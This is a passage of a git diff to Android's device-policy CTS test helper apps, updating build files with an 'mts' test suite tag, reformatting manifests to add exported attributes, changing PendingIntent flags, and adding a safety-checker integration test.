-                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
-                            ADMIN_RECEIVER_COMPONENT));
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
-                    invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
-        }
-    }
-
-    /**
-     * Calls dpm.set{methodName} with given component name and length arguments using reflection.
-     */
-    private void invokeSetMethod(String methodName, DevicePolicyManager dpm,
-            ComponentName componentName, int length) throws Exception {
-        final Method setMethod = DevicePolicyManager.class.getMethod(setMethodName(methodName),
-                ComponentName.class, int.class);
-        setMethod.invoke(dpm, componentName, length);
-    }
-
-    /**
-     * Calls dpm.get{methodName} with given component name using reflection.
-     */
-    private int invokeGetMethod(String methodName, DevicePolicyManager dpm,
-            ComponentName componentName) throws Exception {
-        final Method getMethod =
-                DevicePolicyManager.class.getMethod(getMethodName(methodName), ComponentName.class);
-        return (int) getMethod.invoke(dpm, componentName);
-    }
-
-    private String setMethodName(String methodName) {
-        return "set" + methodName;
-    }
-
-    private String getMethodName(String methodName) {
-        return "get" + methodName;
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp b/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
index 80a96cb..d7cb5f4 100644
--- a/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsMeteredDataTestApp",
     defaults: ["cts_defaults"],
@@ -25,6 +21,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/devicepolicy/app/MeteredDataTestApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/MeteredDataTestApp/AndroidManifest.xml
index d1228f8..5094f4e 100644
--- a/hostsidetests/devicepolicy/app/MeteredDataTestApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/MeteredDataTestApp/AndroidManifest.xml
@@ -16,17 +16,18 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.devicepolicy.metereddatatestapp">
+     package="com.android.cts.devicepolicy.metereddatatestapp">
 
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
     <uses-permission android:name="android.permission.INTERNET"/>
 
     <application>
-        <activity android:name=".MainActivity" >
+        <activity android:name=".MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
     </application>
 
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/Android.bp b/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
index 202ef5e..2a47bec 100644
--- a/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
+++ b/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsNotificationSenderApp",
     defaults: ["cts_defaults"],
@@ -24,6 +20,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp b/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
index c76ba59..16fc595 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsPackageInstallerApp",
     defaults: ["cts_defaults"],
@@ -36,5 +32,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml b/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml
index d81cd43..32a4303 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml
@@ -15,32 +15,30 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.packageinstaller">
+     package="com.android.cts.packageinstaller">
 
     <uses-sdk android:minSdkVersion="21"/>
 
     <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <receiver
-            android:name=".ClearDeviceOwnerTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name=".ClearDeviceOwnerTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.packageinstaller"
-        android:label="Package Installer CTS Tests" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.packageinstaller"
+         android:label="Package Installer CTS Tests"/>
 
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java b/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
index 57cbab9..896efe7 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
@@ -154,7 +154,7 @@
                 mContext,
                 sessionId,
                 broadcastIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pendingIntent.getIntentSender();
     }
 
diff --git a/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp b/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp
index 5dc1020..d8f885a 100644
--- a/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp
+++ b/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsPasswordComplexity",
     defaults: ["cts_defaults"],
@@ -34,5 +30,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/PrintingApp/Android.bp b/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
index 16df2a4..60de082 100644
--- a/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDevicePolicyPrintingApp",
     defaults: ["cts_defaults"],
@@ -26,5 +22,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp b/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
index 3ba4837..c235c99 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsProfileOwnerApp",
     defaults: ["cts_defaults"],
@@ -30,11 +26,13 @@
     static_libs: [
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
+        "devicepolicy-deviceside-common",
         "ub-uiautomator",
     ],
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml
index a494ed6..bab39b3 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml
@@ -15,28 +15,27 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.profileowner" >
+     package="com.android.cts.profileowner">
 
     <uses-sdk android:minSdkVersion="24"/>
 
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-            android:name="com.android.cts.profileowner.BaseProfileOwnerTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.profileowner.BaseProfileOwnerTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.profileowner"
-                     android:label="Profile Owner CTS tests"/>
+         android:targetPackage="com.android.cts.profileowner"
+         android:label="Profile Owner CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/res/xml/device_admin.xml b/hostsidetests/devicepolicy/app/ProfileOwner/res/xml/device_admin.xml
index ff086d6..cbe6877 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/res/xml/device_admin.xml
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/res/xml/device_admin.xml
@@ -1,4 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
 <device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:visible="false">
     <uses-policies>
+        <force-lock />
     </uses-policies>
 </device-admin>
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
index 764ed3c..1165ef3 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
@@ -36,7 +36,7 @@
         Intent intent = new Intent(Intent.ACTION_MAIN);
         PendingIntent pendingIntent = PendingIntent.getActivity(
                 InstrumentationRegistry.getContext(),
-                1, intent, 0);
+                1, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         usm.registerAppUsageObserver(obsId, packages, 60, TimeUnit.SECONDS, pendingIntent);
         usm.unregisterAppUsageObserver(obsId);
@@ -56,7 +56,7 @@
         Intent intent = new Intent(Intent.ACTION_MAIN);
         PendingIntent pendingIntent = PendingIntent.getActivity(
                 InstrumentationRegistry.getContext(),
-                1, intent, 0);
+                1, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         usm.registerUsageSessionObserver(obsId, packages, Duration.ofSeconds(60),
                 Duration.ofSeconds(10), pendingIntent, null);
@@ -77,7 +77,7 @@
         Intent intent = new Intent(Intent.ACTION_MAIN);
         PendingIntent pendingIntent = PendingIntent.getActivity(
                 InstrumentationRegistry.getContext(),
-                1, intent, 0);
+                1, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         // Register too many AppUsageObservers
         for (int obsId = 0; obsId < OBSERVER_LIMIT; obsId++) {
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
new file mode 100644
index 0000000..8492fcc
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.profileowner;
+
+import com.android.cts.devicepolicy.DevicePolicySafetyCheckerIntegrationTester;
+
+// TODO(b/174859111): move to automotive-only section
+/**
+ * Tests that DPM calls fail when determined by the
+ * {@link android.app.admin.DevicePolicySafetyChecker}.
+ */
+public final class DevicePolicySafetyCheckerIntegrationTest extends BaseProfileOwnerTest {
+
+    private final DevicePolicySafetyCheckerIntegrationTester mTester =
+            new DevicePolicySafetyCheckerIntegrationTester();
+
+    /**
+     * Tests that all safety-aware operations are properly implemented.
+     */
+    public void testAllOperations() {
+        mTester.testAllOperations(mDevicePolicyManager, getWho());
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
index b925514..d0ed2e7 100644
--- a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSeparateProfileChallengeApp",
     defaults: ["cts_defaults"],
@@ -38,5 +34,6 @@
         "vts10",
         "general-tests",
 	"sts",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/SharingApps/Android.bp b/hostsidetests/devicepolicy/app/SharingApps/Android.bp
index b0ac177..0ebe39d 100644
--- a/hostsidetests/devicepolicy/app/SharingApps/Android.bp
+++ b/hostsidetests/devicepolicy/app/SharingApps/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "SharingApp1",
     defaults: ["cts_defaults"],
@@ -37,6 +33,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "sharingapp1/AndroidManifest.xml",
 }
@@ -62,6 +59,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "sharingapp2/AndroidManifest.xml",
 }
diff --git a/hostsidetests/devicepolicy/app/SharingApps/sharingapp1/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SharingApps/sharingapp1/AndroidManifest.xml
index 7edb265..bfe53fa 100644
--- a/hostsidetests/devicepolicy/app/SharingApps/sharingapp1/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SharingApps/sharingapp1/AndroidManifest.xml
@@ -14,25 +14,26 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
-
 <!--
   ~ A test app used for when you need to install test packages that have a functioning package name
   ~ and UID. For example, you could use it to set permissions or app-ops.
   -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.sharingapps.sharingapp1">
+     package="com.android.cts.sharingapps.sharingapp1">
     <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <activity android:name=".SimpleActivity" >
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name=".SimpleActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:mimeType="*/*" />
+                <action android:name="android.intent.action.SEND"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="*/*"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/devicepolicy/app/SharingApps/sharingapp2/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SharingApps/sharingapp2/AndroidManifest.xml
index 3bdecab..6709447 100644
--- a/hostsidetests/devicepolicy/app/SharingApps/sharingapp2/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SharingApps/sharingapp2/AndroidManifest.xml
@@ -14,25 +14,26 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
-
 <!--
   ~ A test app used for when you need to install test packages that have a functioning package name
   ~ and UID. For example, you could use it to set permissions or app-ops.
   -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.sharingapps.sharingapp2">
+     package="com.android.cts.sharingapps.sharingapp2">
     <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <activity android:name=".SimpleActivity" >
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name=".SimpleActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:mimeType="*/*" />
+                <action android:name="android.intent.action.SEND"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="*/*"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/Android.bp b/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
index c654642..ab24c97 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSimpleApp",
     defaults: ["cts_defaults"],
@@ -25,6 +21,9 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "current",
+    // V4 signature required by Incremental installs
+    v4_signature: true,
 }
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
index a25a1ee..d79c22c 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
@@ -16,83 +16,98 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.launcherapps.simpleapp">
+     package="com.android.cts.launcherapps.simpleapp">
 
     <uses-permission android:name="android.permission.READ_CALENDAR"/>
     <uses-permission android:name="android.permission.READ_CONTACTS"/>
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
 
     <application>
-        <activity android:name=".SimpleActivity" >
+        <activity android:name=".SimpleActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name=".NonExportedActivity">
-            android:exported="false">
+                        android:exported=&quot;false&quot;&gt;
         </activity>
         <activity android:name=".NonLauncherActivity">
-            android:exported="true">
+                        android:exported=&quot;true&quot;&gt;
         </activity>
         <activity android:name=".SimpleActivityStartService"
-            android:turnScreenOn="true"
-            android:excludeFromRecents="true"
-            android:exported="true" />
-        <activity android:name=".SimpleActivityStartFgService" android:exported="true" />
-        <activity android:name=".SimpleActivityImmediateExit" >
+             android:turnScreenOn="true"
+             android:excludeFromRecents="true"
+             android:exported="true"/>
+        <activity android:name=".SimpleActivityStartFgService"
+             android:exported="true"/>
+        <activity android:name=".SimpleActivityImmediateExit"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".SimpleActivityChainExit" >
+        <activity android:name=".SimpleActivityChainExit"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <service android:name=".SimpleService" android:exported="true">
+        <service android:name=".SimpleService"
+             android:exported="true">
         </service>
-        <service android:name=".SimpleService2" android:exported="true" android:process=":other">
+        <service android:name=".SimpleService2"
+             android:exported="true"
+             android:process=":other">
         </service>
-        <service android:name=".SimpleService3" android:exported="true" />
+        <service android:name=".SimpleService3"
+             android:exported="true"/>
 
-        <service android:name=".SimpleService4" android:exported="true">
+        <service android:name=".SimpleService4"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.launchertests.simpleapp.EXIT_ACTION" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.launchertests.simpleapp.EXIT_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </service>
 
-        <service android:name=".SimpleService5" android:exported="true" android:process=":remote">
+        <service android:name=".SimpleService5"
+             android:exported="true"
+             android:process=":remote">
             <intent-filter>
-                <action android:name="com.android.cts.launchertests.simpleapp.EXIT_ACTION" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.launchertests.simpleapp.EXIT_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </service>
 
-        <service android:name=".SimpleService6" android:exported="true"
-                android:isolatedProcess="true">
+        <service android:name=".SimpleService6"
+             android:exported="true"
+             android:isolatedProcess="true">
             <intent-filter>
-                <action android:name="com.android.cts.launchertests.simpleapp.EXIT_ACTION" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.launchertests.simpleapp.EXIT_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </service>
 
-        <receiver android:name=".SimpleReceiverStartService" android:exported="true">
+        <receiver android:name=".SimpleReceiverStartService"
+             android:exported="true">
         </receiver>
-        <receiver android:name=".SimpleReceiver" android:exported="true">
+        <receiver android:name=".SimpleReceiver"
+             android:exported="true">
         </receiver>
-        <receiver android:name=".SimpleRemoteReceiver" android:process=":receiver"
-                  android:exported="true">
+        <receiver android:name=".SimpleRemoteReceiver"
+             android:process=":receiver"
+             android:exported="true">
         </receiver>
-        <provider android:name=".SimpleProvider" android:process=":remote"
-                  android:authorities="com.android.cts.launcherapps.simpleapp.provider"
-                  android:exported="false" >
+        <provider android:name=".SimpleProvider"
+             android:process=":remote"
+             android:authorities="com.android.cts.launcherapps.simpleapp.provider"
+             android:exported="false">
         </provider>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java
index 15cc3f6..efe511a 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java
@@ -38,12 +38,14 @@
     @Override
     public void onStart() {
         super.onStart();
+        Log.i(TAG, "Starting SimpleActivityImmediateExit.");
         finish();
     }
 
     @Override
     protected void onStop() {
         super.onStop();
+        Log.i(TAG, "Stopping SimpleActivityImmediateExit.");
         // Notify any listener that this activity is about to end now.
         Intent reply = new Intent();
         reply.setAction(ACTIVITY_EXIT_ACTION);
diff --git a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
index f17a192..7ebc862 100644
--- a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
@@ -14,10 +14,6 @@
 
 // This app is meant for testing device policy permission APIs on legacy apps (pre-M)
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSimplePreMApp",
     defaults: ["cts_defaults"],
@@ -28,5 +24,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/SimplePreMApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SimplePreMApp/AndroidManifest.xml
index 85962a1..e111a1d 100644
--- a/hostsidetests/devicepolicy/app/SimplePreMApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SimplePreMApp/AndroidManifest.xml
@@ -16,20 +16,20 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.launcherapps.simplepremapp">
+     package="com.android.cts.launcherapps.simplepremapp">
 
     <uses-sdk android:targetSdkVersion="21"/>
 
     <uses-permission android:name="android.permission.READ_CONTACTS"/>
 
     <application>
-        <activity android:name=".SimpleActivity" >
+        <activity android:name=".SimpleActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp b/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
index 3ddae9d..8cf99f0 100644
--- a/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "SimpleSmsApp",
     sdk_version: "test_current",
@@ -28,5 +24,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/SimpleSmsApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SimpleSmsApp/AndroidManifest.xml
index 7c38b6d..782b25e 100644
--- a/hostsidetests/devicepolicy/app/SimpleSmsApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SimpleSmsApp/AndroidManifest.xml
@@ -16,65 +16,65 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.telephony.cts.sms.simplesmsapp">
+     package="android.telephony.cts.sms.simplesmsapp">
 
     <uses-permission android:name="android.permission.READ_SMS"/>
 
     <application android:label="SimpleSmsApp">
         <!-- BroadcastReceiver that listens for incoming SMS messages -->
         <receiver android:name="android.telephony.cts.sms.SmsReceiver"
-                  android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <!-- BroadcastReceiver that listens for incoming MMS messages -->
